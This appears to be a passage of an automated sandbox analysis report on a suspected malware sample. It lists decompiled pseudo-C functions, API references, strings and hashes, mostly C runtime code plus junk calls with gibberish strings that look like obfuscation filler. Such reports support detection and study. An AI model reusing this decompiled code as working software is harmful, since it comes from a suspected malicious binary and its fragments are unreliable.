0x0043bcf2
0x0043bcf5
0x0043bcf5
0x0043bcf8
0x00000000
0x00000000
0x0043bcfb
0x00000000
0x00000000
0x0043bb6b
0x0043bb6b
0x0043bb6d
0x0043bb7b
0x0043bb6f
0x0043bb6f
0x0043bb6f
0x0043bb8b
0x0043bb98
0x0043bb9a
0x0043bb9f
0x0043bba1
0x0043bba6
0x0043bbab
0x0043bbad
0x0043bbb2
0x0043bbb8
0x0043bbba
0x0043bbba
0x0043bbb8
0x0043bbbb
0x0043bbc2
0x00000000
0x0043bbc4
0x0043bbc9
0x0043bbe5
0x0043bbed
0x0043bbfa
0x0043bbff
0x0043ca14
0x0043ca21
0x0043ca21
0x0043bbc2
0x0043bb65
0x0043c950
0x0043c957
0x0043c96e
0x0043c96e
0x0043c978
0x0043c978
0x0043c97e
0x0043c98b
0x0043c98d
0x0043c992
0x0043c994
0x0043c999
0x0043c99e
0x0043c9a0
0x0043c9a5
0x0043c9ab
0x0043c9ad
0x0043c9ad
0x0043c9ab
0x0043c9b5
0x0043ca00
0x0043ca09
0x0043ca0e
0x0043c9b7
0x0043c9bc
0x0043c9d8
0x0043c9e0
0x0043c9ed
0x0043c9f2
0x0043c9f2
0x00000000
0x0043c9b5
0x0043c959
0x0043c960
0x00000000
0x00000000
0x0043c962
0x0043c962
0x00000000
0x0043c962
0x0043c750
0x0043bfeb
0x0043bfeb
0x0043bff1
0x0043bff8
0x0043bffd
0x0043c000
0x00000000
0x0043c000

APIs

_get_int_arg.LIBCMTD ref: 0043BFC8
_strlen.LIBCMT ref: 0043BFF8
_write_multi_char.LIBCMTD ref: 0043C7DB
_write_string.LIBCMTD ref: 0043C7F6
_write_multi_char.LIBCMTD ref: 0043C822
__mbtowc_l.LIBCMTD ref: 0043C891

Strings

f:\dd\vctools\crt_bld\self_x86\crt\src\output.c, xrefs: 0043BBA6, 0043BBD6
_woutput_s_l, xrefs: 0043BBDB
("Incorrect format specifier", 0), xrefs: 0043BB9A, 0043BBE0
xD@, xrefs: 0043BFEB

Memory Dump Source

Source File: 00000000.00000002.276727395.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276724699.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.276752430.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276760822.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276764145.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JV4ILFxpDY.jbxd

Similarity

API ID: _write_multi_char$__mbtowc_l_get_int_arg_strlen_write_string
String ID: ("Incorrect format specifier", 0)$_woutput_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\output.c$xD@
API String ID: 909868375-2094193020
Opcode ID: b00941b20bd59b814280b132e37efa23e2ac40820aad5b12af99e1606340485b
Instruction ID: 6a91004f584b904e2baf05ce2de259324dc3572d11e23367b6d314084e7bd923
Opcode Fuzzy Hash: b00941b20bd59b814280b132e37efa23e2ac40820aad5b12af99e1606340485b
Instruction Fuzzy Hash: DFA170B1D00218DBDB24DF54CC85BAEB7B5EF48305F14519AE609BB282D738AE84CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00419EFD, Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 39
filetimethreadCOMMON

Download Yara Rule

C-Code - Quality: 61%

			E00419EFD(void* __eax, void* __edx) {
				void* _t19;

				asm("adc [eax], eax");
				 *((intOrPtr*)(_t19 + 0x73)) =  *((intOrPtr*)(_t19 + 0x73)) + __edx;
				SetSystemTimeAdjustment(0, 0);
				CreateRemoteThread(0, 0, 0, 0, 0, 0, 0);
				__imp__CreateActCtxW(_t19 - 0x1648);
				DeleteFileA("Sidewarogode sarekivokifija sujucobe gopomuzoyerer gafucazo");
				__imp__GetCalendarInfoA(0, 0, 0, "vihebihasucuxegod", 0, 0);
				InterlockedDecrement(_t19 - 0x1628);
				GetCommandLineW();
				TlsGetValue(0);
				TryEnterCriticalSection(_t19 - 0x1624);
				return 0;
			}

0x00419f03
0x00419f05
0x00419f0c
0x00419f20
0x00419f2d
0x00419f38
0x00419f4d
0x00419f5a
0x00419f60
0x00419f68
0x00419f75
0x00419f7e

APIs

SetSystemTimeAdjustment.KERNEL32 ref: 00419F0C
CreateRemoteThread.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00419F20
CreateActCtxW.KERNEL32(?), ref: 00419F2D
DeleteFileA.KERNEL32(Sidewarogode sarekivokifija sujucobe gopomuzoyerer gafucazo), ref: 00419F38
GetCalendarInfoA.KERNEL32(00000000,00000000,00000000,vihebihasucuxegod,00000000,00000000), ref: 00419F4D
InterlockedDecrement.KERNEL32(?), ref: 00419F5A
GetCommandLineW.KERNEL32 ref: 00419F60
TlsGetValue.KERNEL32(00000000), ref: 00419F68
TryEnterCriticalSection.KERNEL32(?), ref: 00419F75

Strings

Sidewarogode sarekivokifija sujucobe gopomuzoyerer gafucazo, xrefs: 00419F33
vihebihasucuxegod, xrefs: 00419F42

Memory Dump Source

Source File: 00000000.00000002.276727395.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276724699.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.276752430.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276760822.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276764145.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JV4ILFxpDY.jbxd

Similarity

API ID: Create$AdjustmentCalendarCommandCriticalDecrementDeleteEnterFileInfoInterlockedLineRemoteSectionSystemThreadTimeValue
String ID: Sidewarogode sarekivokifija sujucobe gopomuzoyerer gafucazo$vihebihasucuxegod
API String ID: 2597053956-1231097603
Opcode ID: 778ccddce6d80ebf428a3a2114098694b13ee476d875678dd32114e9b0909af6
Instruction ID: c3ab0cdaebc2716bf8f6124dab3ba94a85e8c3f330aa3f1e61336741c9c4d0c9
Opcode Fuzzy Hash: 778ccddce6d80ebf428a3a2114098694b13ee476d875678dd32114e9b0909af6
Instruction Fuzzy Hash: 0CF01231684285ABE7105BB0AE0EF8837A8AB04702F140062F386F54F0C6B594848B19

Uniqueness

Uniqueness Score: -1.00%

Function 0041CEDE, Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 179COMMON

Download Yara Rule

APIs

_CheckBytes.LIBCMTD ref: 0041CF5B
_CheckBytes.LIBCMTD ref: 0041CFF9
_CheckBytes.LIBCMTD ref: 0041D0A2

Strings

HEAP CORRUPTION DETECTED: on top of Free block at 0x%p.CRT detected that the application wrote to a heap buffer that was freed.Memory allocated at %hs(%d)., xrefs: 0041D0CC
HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.Memory allocated at %hs(%d)., xrefs: 0041CF90
HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.Memory allocated at %hs(%d)., xrefs: 0041D02E
%hs located at 0x%p is %Iu bytes long.Memory allocated at %hs(%d)., xrefs: 0041D141

Memory Dump Source

Source File: 00000000.00000002.276727395.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276724699.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.276752430.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276760822.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276764145.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JV4ILFxpDY.jbxd

Similarity

API ID: BytesCheck
String ID: %hs located at 0x%p is %Iu bytes long.Memory allocated at %hs(%d).$HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.Memory allocated at %hs(%d).$HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.Memory allocated at %hs(%d).$HEAP CORRUPTION DETECTED: on top of Free block at 0x%p.CRT detected that the application wrote to a heap buffer that was freed.Memory allocated at %hs(%d).
API String ID: 1653226792-1867057952
Opcode ID: 7ac275f8fe3b7ff41d231405028f99a4cf14a7b426d7d4c509037e328ca49cc4
Instruction ID: bc26d655c1c4f5126bfd81e14a477b7fa12d963230759f6f2c55259d7e405d66
Opcode Fuzzy Hash: 7ac275f8fe3b7ff41d231405028f99a4cf14a7b426d7d4c509037e328ca49cc4
Instruction Fuzzy Hash: 276121B4E401059BDB18CB84DCC5FBFB7B6AB48304F24815AE5156B3D2C279EC82CB69

Uniqueness

Uniqueness Score: -1.00%

Function 004378A4, Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 115
COMMON

Download Yara Rule

C-Code - Quality: 59%

			E004378A4(signed int __eax) {
				intOrPtr _t45;
				void* _t50;
				signed int _t54;
				void* _t60;
				signed int _t67;
				signed int _t69;
				signed int _t71;
				signed int _t73;
				signed int _t79;
				void* _t80;
				void* _t81;
				void* _t82;
				void* _t84;
				void* _t85;
				void* _t94;

				_t85 = _t84 + 0x10;
				 *(_t82 - 0xc) = __eax;
				if( *(_t82 - 0xc) != 0xffffffff) {
					_t71 =  *(_t82 - 0xc) + 1;
					 *(_t82 - 0xc) = _t71;
					__eflags =  *(_t82 + 0xc);
					if( *(_t82 + 0xc) == 0) {
						L27:
						__eflags =  *(_t82 + 8);
						if( *(_t82 + 8) != 0) {
							 *( *(_t82 + 8)) =  *(_t82 - 0xc);
						}
						_t45 =  *((intOrPtr*)(_t82 - 4));
						L30:
						return _t45;
					}
					__eflags =  *(_t82 - 0xc) -  *(_t82 + 0x10);
					if( *(_t82 - 0xc) <=  *(_t82 + 0x10)) {
						L26:
						_t73 =  *(_t82 + 0xc) +  *(_t82 - 0xc);
						__eflags = _t73;
						 *((char*)(_t73 - 1)) = 0;
						goto L27;
					}
					__eflags =  *((intOrPtr*)(_t82 + 0x18)) - 0xffffffff;
					if( *((intOrPtr*)(_t82 + 0x18)) == 0xffffffff) {
						L25:
						 *(_t82 - 0xc) =  *(_t82 + 0x10);
						 *((intOrPtr*)(_t82 - 4)) = 0x50;
						goto L26;
					}
					 *( *(_t82 + 0xc)) = 0;
					__eflags =  *(_t82 + 0x10) - 0xffffffff;
					if( *(_t82 + 0x10) != 0xffffffff) {
						__eflags =  *(_t82 + 0x10) - 0x7fffffff;
						if( *(_t82 + 0x10) != 0x7fffffff) {
							__eflags =  *(_t82 + 0x10) - 1;
							if( *(_t82 + 0x10) > 1) {
								__eflags =  *0x440208 -  *(_t82 + 0x10) - 1; // 0xffffffff
								if(__eflags >= 0) {
									_t67 =  *(_t82 + 0x10) - 1;
									__eflags = _t67;
									 *(_t82 - 0x2c) = _t67;
								} else {
									_t54 =  *0x440208; // 0xffffffff
									 *(_t82 - 0x2c) = _t54;
								}
								_t71 =  *(_t82 - 0x2c);
								_t52 =  *(_t82 + 0xc) + 1;
								__eflags =  *(_t82 + 0xc) + 1;
								E0041B5B0(_t80, _t52, 0xfe, _t71);
								_t85 = _t85 + 0xc;
							}
						}
					}
					_t65 =  *(_t82 + 0x10);
					__eflags =  *(_t82 - 0xc) -  *(_t82 + 0x10);
					asm("sbb edx, edx");
					 *(_t82 - 0x18) =  ~_t71;
					if( *(_t82 - 0xc) ==  *(_t82 + 0x10)) {
						_push(L"sizeInBytes > retsize");
						_push(0);
						_push(0x157);
						_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c");
						_push(2);
						_t50 = L0041E420();
						_t85 = _t85 + 0x14;
						__eflags = _t50 - 1;
						if(_t50 == 1) {
							asm("int3");
						}
					}
					__eflags =  *(_t82 - 0x18);
					if( *(_t82 - 0x18) != 0) {
						goto L25;
					} else {
						 *((intOrPtr*)(L00422F10(_t65))) = 0x22;
						E00422CA0(_t60, _t65, _t80, _t81, L"sizeInBytes > retsize", L"_wcstombs_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c", 0x157, 0);
						_t45 = 0x22;
						goto L30;
					}
				}
				if( *(_t82 + 0xc) != 0) {
					 *( *(_t82 + 0xc)) = 0;
					if( *(_t82 + 0x10) != 0xffffffff &&  *(_t82 + 0x10) != 0x7fffffff &&  *(_t82 + 0x10) > 1) {
						_t94 =  *0x440208 -  *(_t82 + 0x10) - 1; // 0xffffffff
						if(_t94 >= 0) {
							_t79 =  *(_t82 + 0x10) - 1;
							__eflags = _t79;
							 *(_t82 - 0x28) = _t79;
						} else {
							_t69 =  *0x440208; // 0xffffffff
							 *(_t82 - 0x28) = _t69;
						}
						_t61 =  *(_t82 + 0xc) + 1;
						E0041B5B0(_t80,  *(_t82 + 0xc) + 1, 0xfe,  *(_t82 - 0x28));
					}
				}
				_t45 =  *((intOrPtr*)(L00422F10(_t61)));
				goto L30;
			}

0x004378a4
0x004378a7
0x004378ae
0x0043791a
0x0043791d
0x00437920
0x00437924
0x00437a11
0x00437a11
0x00437a15
0x00437a1d
0x00437a1d
0x00437a1f
0x00437a22
0x00437a25
0x00437a25
0x0043792d
0x00437930
0x00437a07
0x00437a0a
0x00437a0a
0x00437a0d
0x00000000
0x00437a0d
0x00437936
0x0043793a
0x004379fa
0x004379fd
0x00437a00
0x00000000
0x00437a00
0x00437943
0x00437946
0x0043794a
0x0043794c
0x00437953
0x00437955
0x00437959
0x00437961
0x00437967
0x00437976
0x00437976
0x00437979
0x00437969
0x00437969
0x0043796e
0x0043796e
0x0043797c
0x00437988
0x00437988
0x0043798c
0x00437991
0x00437991
0x00437959
0x00437953
0x00437994
0x00437997
0x0043799a
0x0043799e
0x004379a1
0x004379a3
0x004379a8
0x004379aa
0x004379af
0x004379b4
0x004379b6
0x004379bb
0x004379be
0x004379c1
0x004379c3
0x004379c3
0x004379c1
0x004379c4
0x004379c8
0x00000000
0x004379ca
0x004379cf
0x004379eb
0x004379f3
0x00000000
0x004379f3
0x004379c8
0x004378b4
0x004378b9
0x004378c0
0x004378d7
0x004378dd
0x004378ed
0x004378ed
0x004378f0
0x004378df
0x004378df
0x004378e5
0x004378e5
0x004378ff
0x00437903
0x00437908
0x004378c0
0x00437910
0x00000000

APIs

_memset.LIBCMT ref: 00437903
_memset.LIBCMT ref: 0043798C
__invalid_parameter.LIBCMTD ref: 004379EB

Strings

sizeInBytes > retsize, xrefs: 004379A3, 004379E6
f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c, xrefs: 004379AF, 004379DC
_wcstombs_s_l, xrefs: 004379E1
P, xrefs: 00437A00

Memory Dump Source

Source File: 00000000.00000002.276727395.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276724699.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.276752430.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276760822.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276764145.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JV4ILFxpDY.jbxd

Similarity

API ID: _memset$__invalid_parameter
String ID: P$_wcstombs_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c$sizeInBytes > retsize
API String ID: 2178901135-56445615
Opcode ID: 12ba152869e2f5aa2034a7e53a68d6bf0a9d64c5fe8e9934f363fb63a597b9e5
Instruction ID: 668210fd291c1ac046b4d6bb76ba5d0cae547b1bc4fe98c91a3476554f16c90f
Opcode Fuzzy Hash: 12ba152869e2f5aa2034a7e53a68d6bf0a9d64c5fe8e9934f363fb63a597b9e5
Instruction Fuzzy Hash: 89419AB0A04249EBDB24DF58C8457AE7771FF49318F10976AE8A52B3D0D3789A90CF49

Uniqueness

Uniqueness Score: -1.00%

Function 0041D977, Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 81
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E0041D977() {
				intOrPtr _t54;
				void* _t61;
				intOrPtr _t68;
				void* _t70;
				void* _t98;
				void* _t99;
				signed int _t100;
				void* _t102;
				void* _t105;

				L0:
				while(1) {
					L0:
					 *(_t100 - 4) =  *(_t100 - 4) + 1;
					if( *((intOrPtr*)( *((intOrPtr*)(_t100 + 0xc)) + 0x10)) >= 0x10) {
						 *((intOrPtr*)(_t100 - 0x6c)) = 0x10;
					} else {
						_t6 =  *((intOrPtr*)(_t100 + 0xc)) + 0x10; // 0x2
						 *((intOrPtr*)(_t100 - 0x6c)) =  *_t6;
					}
					if( *(_t100 - 4) >=  *((intOrPtr*)(_t100 - 0x6c))) {
						break;
					}
					L5:
					 *(_t100 - 0x61) =  *((intOrPtr*)( *((intOrPtr*)(_t100 + 0xc)) +  *(_t100 - 4) + 0x20));
					if(E0041AEF0(_t100 - 0x60) == 0 ||  *((intOrPtr*)( *((intOrPtr*)(E0041AEF0(_t100 - 0x60))) + 0xac)) <= 1) {
						_t54 = E004230A0(E0041AEF0(_t100 - 0x60),  *(_t100 - 0x61) & 0x000000ff, 0x157);
						_t105 = _t102 + 0xc;
						 *((intOrPtr*)(_t100 - 0x70)) = _t54;
					} else {
						_t68 = E00423150(_t70, _t98, _t99,  *(_t100 - 0x61) & 0x000000ff, 0x157, E0041AEF0(_t100 - 0x60));
						_t105 = _t102 + 0xc;
						 *((intOrPtr*)(_t100 - 0x70)) = _t68;
					}
					if( *((intOrPtr*)(_t100 - 0x70)) == 0) {
						 *(_t100 - 0x74) = 0x20;
					} else {
						 *(_t100 - 0x74) =  *(_t100 - 0x61) & 0x000000ff;
					}
					 *((char*)(_t100 +  *(_t100 - 4) - 0x50)) =  *(_t100 - 0x74);
					 *((intOrPtr*)(_t100 - 0x68)) =  *((intOrPtr*)(L00422F10( *(_t100 - 0x74))));
					 *((intOrPtr*)(L00422F10( *(_t100 - 0x74)))) = 0;
					_t84 = _t100 +  *(_t100 - 4) * 3 - 0x3c;
					_t61 = E0042BD00(_t100 +  *(_t100 - 4) * 3 - 0x3c, _t100 +  *(_t100 - 4) * 3 - 0x3c, 0x31 -  *(_t100 - 4) * 3, "%.2X ",  *(_t100 - 0x61) & 0x000000ff);
					_t102 = _t105 + 0x10;
					if(_t61 < 0) {
						E0041DAF0( *((intOrPtr*)(L00422F10(_t84))), 0x16, 0x22, L"(*_errno())", L"_printMemBlockData", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgheap.c", 0x963, 0);
						_t102 = _t102 + 0x20;
					}
					 *((intOrPtr*)(L00422F10(_t84))) =  *((intOrPtr*)(_t100 - 0x68));
				}
				L15:
				_t91 =  *(_t100 - 4);
				 *((char*)(_t100 +  *(_t100 - 4) - 0x50)) = 0;
				_push(_t100 - 0x3c);
				if(L00429620(0, 0, 0, 0, " Data: <%s> %s\n", _t100 - 0x50) == 1) {
					asm("int3");
				}
				return E0042BD60(E0041AEC0(_t100 - 0x60), _t70,  *(_t100 - 8) ^ _t100, _t91, _t98, _t99);
			}

0x0041d977
0x0041d977
0x0041d977
0x0041d97d
0x0041d987
0x0041d994
0x0041d989
0x0041d98c
0x0041d98f
0x0041d98f
0x0041d9a1
0x00000000
0x00000000
0x0041d9a7
0x0041d9b0
0x0041d9bd
0x0041da05
0x0041da0a
0x0041da0d
0x0041d9d2
0x0041d9e5
0x0041d9ea
0x0041d9ed
0x0041d9ed
0x0041da14
0x0041da1f
0x0041da16
0x0041da1a
0x0041da1a
0x0041da2c
0x0041da37
0x0041da3f
0x0041da63
0x0041da68
0x0041da6d
0x0041da72
0x0041da96
0x0041da9b
0x0041da9b
0x0041daa6
0x0041daa6
0x0041daad
0x0041daad
0x0041dab0
0x0041dab8
0x0041dad5
0x0041dad7
0x0041dad7
0x0041daed

APIs

__isctype_l.LIBCMTD ref: 0041D9E5
_swprintf_s.LIBCMTD ref: 0041DA68
__invoke_watson_if_oneof.LIBCMTD ref: 0041DA96

Strings

%.2X , xrefs: 0041DA4A
_printMemBlockData, xrefs: 0041DA80
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c, xrefs: 0041DA7B
(*_errno()), xrefs: 0041DA85

Memory Dump Source

Source File: 00000000.00000002.276727395.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276724699.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.276752430.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276760822.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276764145.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JV4ILFxpDY.jbxd

Similarity

API ID: __invoke_watson_if_oneof__isctype_l_swprintf_s
String ID: %.2X $(*_errno())$_printMemBlockData$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c
API String ID: 4289034949-3158630120
Opcode ID: 7890e27b60dd6190a594b9f91f52ede1532afa69bed6f8af2efe2e3822764927
Instruction ID: 457ad0a030f9a04aa9e75fd33a12c2a3341f0d00059294fedf261ca0ee0e588b
Opcode Fuzzy Hash: 7890e27b60dd6190a594b9f91f52ede1532afa69bed6f8af2efe2e3822764927
Instruction Fuzzy Hash: FD31AFB0E04318EFCB08DBA1CA91BEDBB71AF45308F60456EE4056F382D7789A41DB58

Uniqueness

Uniqueness Score: -1.00%

Function 00429151, Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 69fileCOMMON

Download Yara Rule

APIs

__set_error_mode.LIBCMTD ref: 004291B8
__set_error_mode.LIBCMTD ref: 004291C7
GetStdHandle.KERNEL32(000000F4), ref: 004291DE
_strlen.LIBCMT ref: 00429204
WriteFile.KERNEL32(000000FF,00000000,00000000,00000000), ref: 0042921C

Strings

t/j, xrefs: 004291F1
jjj, xrefs: 004291A0

Memory Dump Source

Source File: 00000000.00000002.276727395.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276724699.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.276752430.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276760822.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276764145.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JV4ILFxpDY.jbxd

Similarity

API ID: __set_error_mode$FileHandleWrite_strlen
String ID: jjj$t/j
API String ID: 1121076223-194299851
Opcode ID: fa9ec959f9373a2e9bdca725131c4508d04c308dee4c8ed508620b218d41543a
Instruction ID: ec45970e2fcd5a0523b8008fdd08474d5df3e68bbb6f14e5ad18593397273eca
Opcode Fuzzy Hash: fa9ec959f9373a2e9bdca725131c4508d04c308dee4c8ed508620b218d41543a
Instruction Fuzzy Hash: C5212534F00219FBEB24CB49F849BAD3374EB15314FA445AAE505962D0D3799E60CB8A

Uniqueness

Uniqueness Score: -1.00%

Function 0042E9A0, Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 61
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 59%

			E0042E9A0(void* __ebx, void* __edi, void* __esi, void* __eflags, char _a4, intOrPtr* _a12, intOrPtr _a16, intOrPtr _a20) {
				signed int _v8;
				char _v32;
				char _v34;
				short _v36;
				short _v40;
				intOrPtr _v44;
				char _v48;
				signed int _t25;
				intOrPtr* _t29;
				signed int _t55;
				void* _t56;

				_t25 =  *0x440354; // 0x6abcbdeb
				_v8 = _t25 ^ _t55;
				E0042EA50( &_v48,  &_a4);
				_push( &_v36);
				_push(0);
				_t29 = _t56 + 8 - 0xc;
				 *_t29 = _v48;
				 *((intOrPtr*)(_t29 + 4)) = _v44;
				 *((short*)(_t29 + 8)) = _v40;
				 *((intOrPtr*)(_a12 + 8)) = E00438EC0(__ebx, __edi, __esi);
				 *_a12 = _v34;
				 *((intOrPtr*)(_a12 + 4)) = _v36;
				E0041E060(E0041DBE0(__ebx,  &_v32, __esi, _a16, _a20,  &_v32), _t34, L"strcpy_s(resultstr, resultsize, autofos.man)", L"_fltout2", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\prebuild\\conv\\cfout.c", 0x2e, 0);
				 *((intOrPtr*)(_a12 + 0xc)) = _a16;
				return E0042BD60(_a12, __ebx, _v8 ^ _t55, _a16, __edi, __esi, 0x11);
			}

0x0042e9a8
0x0042e9af
0x0042e9ba
0x0042e9c5
0x0042e9c6
0x0042e9cd
0x0042e9d2
0x0042e9d7
0x0042e9de
0x0042e9ed
0x0042e9f7
0x0042ea00
0x0042ea2b
0x0042ea39
0x0042ea4c

APIs

___dtold.LIBCMTD ref: 0042E9BA
_$I10_OUTPUT.LIBCMTD ref: 0042E9E2
_wcscpy_s.LIBCMTD ref: 0042EA22

Part of subcall function 0041DBE0: __invalid_parameter.LIBCMTD ref: 0041DC52

__invoke_watson_if_error.LIBCMTD ref: 0042EA2B

Strings

_fltout2, xrefs: 0042EA0C
strcpy_s(resultstr, resultsize, autofos.man), xrefs: 0042EA11
f:\dd\vctools\crt_bld\self_x86\crt\prebuild\conv\cfout.c, xrefs: 0042EA07

Memory Dump Source

Source File: 00000000.00000002.276727395.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276724699.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.276752430.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276760822.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276764145.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JV4ILFxpDY.jbxd

Similarity

API ID: I10____dtold__invalid_parameter__invoke_watson_if_error_wcscpy_s
String ID: _fltout2$f:\dd\vctools\crt_bld\self_x86\crt\prebuild\conv\cfout.c$strcpy_s(resultstr, resultsize, autofos.man)
API String ID: 289039318-2574656408
Opcode ID: 7c1bf9870b9acff13d5e6e3829d3d5e690f23311637098bd71c3258c7dc841f3
Instruction ID: 5a34d1d5736e2ebef652e39f9abdac9a9ffb0841446459fea59ea888c9ec9184
Opcode Fuzzy Hash: 7c1bf9870b9acff13d5e6e3829d3d5e690f23311637098bd71c3258c7dc841f3
Instruction Fuzzy Hash: CF214DB5A003089BCB04DF65DC82AEEB7F4EF4C704F148559F8056B381E634E911CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00419A58, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 47
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E00419A58(intOrPtr _a4, unsigned int _a8, intOrPtr _a12) {
				struct _OSVERSIONINFOW _v280;
				unsigned int _t6;
				void* _t7;
				unsigned int _t15;
				intOrPtr _t18;

				if( *0x55abe4 == 0x516) {
					GetDefaultCommConfigW(L"kumasogamujalanuzapoxowigefuwul", 0, 0);
				}
				_t6 = _a8 >> 3;
				if(_t6 > 0) {
					_t18 = _a4;
					_t15 = _t6;
					do {
						if( *0x55abe4 == 0x29) {
							__imp__GetConsoleAliasesLengthW(0);
						}
						if( *0x55abe4 == 0x1c) {
							SetConsoleCP(0);
							GetVersionExW( &_v280);
							GetExitCodeProcess(0, 0);
							TerminateProcess(0, 0);
						}
						_t7 = E00419951(_t18, _a12);
						_t18 = _t18 + 8;
						_t15 = _t15 - 1;
					} while (_t15 != 0);
					return _t7;
				}
				return _t6;
			}

0x00419a6e
0x00419a77
0x00419a77
0x00419a80
0x00419a85
0x00419a89
0x00419a8c
0x00419a8e
0x00419a95
0x00419a98
0x00419a98
0x00419aa5
0x00419aa8
0x00419ab5
0x00419abd
0x00419ac5
0x00419ac5
0x00419acf
0x00419ad4
0x00419ad7
0x00419ad7
0x00000000
0x00419adb
0x00419ade

APIs

GetDefaultCommConfigW.KERNEL32 ref: 00419A77
GetConsoleAliasesLengthW.KERNEL32(00000000), ref: 00419A98
SetConsoleCP.KERNEL32(00000000), ref: 00419AA8
GetVersionExW.KERNEL32(?), ref: 00419AB5
GetExitCodeProcess.KERNEL32 ref: 00419ABD
TerminateProcess.KERNEL32(00000000,00000000), ref: 00419AC5

Strings

kumasogamujalanuzapoxowigefuwul, xrefs: 00419A72

Memory Dump Source

Source File: 00000000.00000002.276727395.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276724699.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.276752430.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276760822.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276764145.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JV4ILFxpDY.jbxd

Similarity

API ID: ConsoleProcess$AliasesCodeCommConfigDefaultExitLengthTerminateVersion
String ID: kumasogamujalanuzapoxowigefuwul
API String ID: 1130598534-4243000766
Opcode ID: d3705525524dbf61b34a2ab9efe4ad2dbf9c5488025cf0ba87eddf9da03365b7
Instruction ID: 4bbb2e6f6c90655ca1072619f17e50ffb5c88773eb00a78d51fa9150e1672a0e
Opcode Fuzzy Hash: d3705525524dbf61b34a2ab9efe4ad2dbf9c5488025cf0ba87eddf9da03365b7
Instruction Fuzzy Hash: 6301A731401158ABC721AF509E188DF3B69FF553A6B000127F645A2521D33C49C9D7FA

Uniqueness

Uniqueness Score: -1.00%

Function 00435057, Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 104
COMMON

Download Yara Rule

